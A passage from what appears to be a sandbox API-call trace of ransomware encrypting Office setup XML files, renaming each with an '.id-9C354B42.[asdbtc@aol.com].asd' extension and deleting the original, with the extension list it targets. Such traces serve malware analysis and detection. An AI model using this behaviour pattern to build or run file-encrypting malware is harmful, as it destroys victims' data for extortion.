Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.725] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0050.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.725] lstrlenW (lpString=".doc") returned 4 [0050.725] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.725] lstrlenW (lpString=".docx") returned 5 [0050.725] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0050.725] lstrlenW (lpString=".pdf") returned 4 [0050.725] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.725] lstrlenW (lpString=".xls") returned 4 [0050.725] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.725] lstrlenW (lpString=".xlsx") returned 5 [0050.725] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0050.725] lstrlenW (lpString=".ppt") returned 4 [0050.725] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.725] lstrlenW (lpString=".zip") returned 4 [0050.725] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.725] lstrlenW (lpString=".rar") returned 4 [0050.725] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.725] lstrlenW (lpString=".bz2") returned 4 [0050.725] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.725] lstrlenW (lpString=".7z") returned 3 [0050.726] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.726] lstrlenW (lpString=".dbf") returned 4 [0050.726] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.726] lstrlenW (lpString=".1cd") returned 4 [0050.726] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.726] lstrlenW (lpString=".jpg") returned 4 [0050.726] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.726] lstrlenW (lpString=".doc") returned 4 [0050.726] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString=".docx") returned 5 [0050.726] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0050.726] lstrlenW (lpString=".pdf") returned 4 [0050.726] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString=".xls") returned 4 [0050.726] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString=".xlsx") returned 5 [0050.726] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0050.726] lstrlenW (lpString=".ppt") returned 4 [0050.726] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.726] lstrlenW (lpString=".zip") returned 4 [0050.726] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.726] lstrlenW (lpString=".rar") returned 4 [0050.726] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.726] lstrlenW (lpString=".bz2") returned 4 [0050.727] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.727] lstrlenW (lpString=".7z") returned 3 [0050.727] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.727] lstrlenW (lpString=".dbf") returned 4 [0050.727] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.727] lstrlenW (lpString=".1cd") returned 4 [0050.727] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0050.727] lstrlenW (lpString=".jpg") returned 4 [0050.727] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.727] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.727] lstrlenW (lpString="SETUP.XML") returned 9 [0050.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.728] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=16683) returned 1 [0050.728] CloseHandle (hObject=0x20c) returned 1 [0050.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0050.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.728] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.728] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.729] GetLastError () returned 0x0 [0050.729] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x412b, lpOverlapped=0x0) returned 1 [0050.731] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0050.732] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.732] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.732] SetEndOfFile (hFile=0x1f0) returned 1 [0050.732] CloseHandle (hObject=0x1f0) returned 1 [0050.733] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.733] SetEndOfFile (hFile=0x20c) returned 1 [0050.734] CloseHandle (hObject=0x20c) returned 1 [0050.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0050.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.735] lstrlenW (lpString=".doc") returned 4 [0050.735] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.735] lstrlenW (lpString=".docx") returned 5 [0050.735] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.735] lstrlenW (lpString=".pdf") returned 4 [0050.735] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.735] lstrlenW (lpString=".xls") returned 4 [0050.735] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.735] lstrlenW (lpString=".xlsx") returned 5 [0050.735] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.735] lstrlenW (lpString=".ppt") returned 4 [0050.735] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.735] lstrlenW (lpString=".zip") returned 4 [0050.735] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.735] lstrlenW (lpString=".rar") returned 4 [0050.735] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.735] lstrlenW (lpString=".bz2") returned 4 [0050.735] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.735] lstrlenW (lpString=".7z") returned 3 [0050.735] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.735] lstrlenW (lpString=".dbf") returned 4 [0050.735] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.735] lstrlenW (lpString=".1cd") returned 4 [0050.735] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.736] lstrlenW (lpString=".jpg") returned 4 [0050.736] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.736] lstrlenW (lpString=".doc") returned 4 [0050.736] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString=".docx") returned 5 [0050.736] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.736] lstrlenW (lpString=".pdf") returned 4 [0050.736] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString=".xls") returned 4 [0050.736] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString=".xlsx") returned 5 [0050.736] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.736] lstrlenW (lpString=".ppt") returned 4 [0050.736] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.736] lstrlenW (lpString=".zip") returned 4 [0050.736] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.736] lstrlenW (lpString=".rar") returned 4 [0050.736] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString=".bz2") returned 4 [0050.736] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString=".7z") returned 3 [0050.736] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.736] lstrlenW (lpString=".dbf") returned 4 [0050.736] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.736] lstrlenW (lpString=".1cd") returned 4 [0050.736] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0050.737] lstrlenW (lpString=".jpg") returned 4 [0050.737] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.737] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.737] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0050.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.737] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1452) returned 1 [0050.737] CloseHandle (hObject=0x20c) returned 1 [0050.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0050.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.737] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.738] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.740] GetLastError () returned 0x0 [0050.740] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0050.742] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0050.745] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.745] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0050.745] SetEndOfFile (hFile=0x1f0) returned 1 [0050.745] CloseHandle (hObject=0x1f0) returned 1 [0050.746] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.747] SetEndOfFile (hFile=0x20c) returned 1 [0050.747] CloseHandle (hObject=0x20c) returned 1 [0050.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.748] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0050.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.748] lstrlenW (lpString=".doc") returned 4 [0050.748] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.748] lstrlenW (lpString=".docx") returned 5 [0050.748] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.748] lstrlenW (lpString=".pdf") returned 4 [0050.748] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.748] lstrlenW (lpString=".xls") returned 4 [0050.748] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.748] lstrlenW (lpString=".xlsx") returned 5 [0050.748] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.748] lstrlenW (lpString=".ppt") returned 4 [0050.748] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.748] lstrlenW (lpString=".zip") returned 4 [0050.748] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.748] lstrlenW (lpString=".rar") returned 4 [0050.748] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.748] lstrlenW (lpString=".bz2") returned 4 [0050.749] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString=".7z") returned 3 [0050.749] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.749] lstrlenW (lpString=".dbf") returned 4 [0050.749] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.749] lstrlenW (lpString=".1cd") returned 4 [0050.749] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.749] lstrlenW (lpString=".jpg") returned 4 [0050.749] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.749] lstrlenW (lpString=".doc") returned 4 [0050.749] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString=".docx") returned 5 [0050.749] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.749] lstrlenW (lpString=".pdf") returned 4 [0050.749] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString=".xls") returned 4 [0050.749] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString=".xlsx") returned 5 [0050.749] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.749] lstrlenW (lpString=".ppt") returned 4 [0050.749] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.749] lstrlenW (lpString=".zip") returned 4 [0050.749] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.749] lstrlenW (lpString=".rar") returned 4 [0050.749] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.749] lstrlenW (lpString=".bz2") returned 4 [0050.750] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.750] lstrlenW (lpString=".7z") returned 3 [0050.750] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.750] lstrlenW (lpString=".dbf") returned 4 [0050.750] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.750] lstrlenW (lpString=".1cd") returned 4 [0050.750] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0050.750] lstrlenW (lpString=".jpg") returned 4 [0050.750] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.750] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.750] lstrlenW (lpString="SETUP.XML") returned 9 [0050.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.751] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1872) returned 1 [0050.751] CloseHandle (hObject=0x20c) returned 1 [0050.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0050.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.751] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.751] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.751] GetLastError () returned 0x0 [0050.751] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x750, lpOverlapped=0x0) returned 1 [0051.026] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x760, 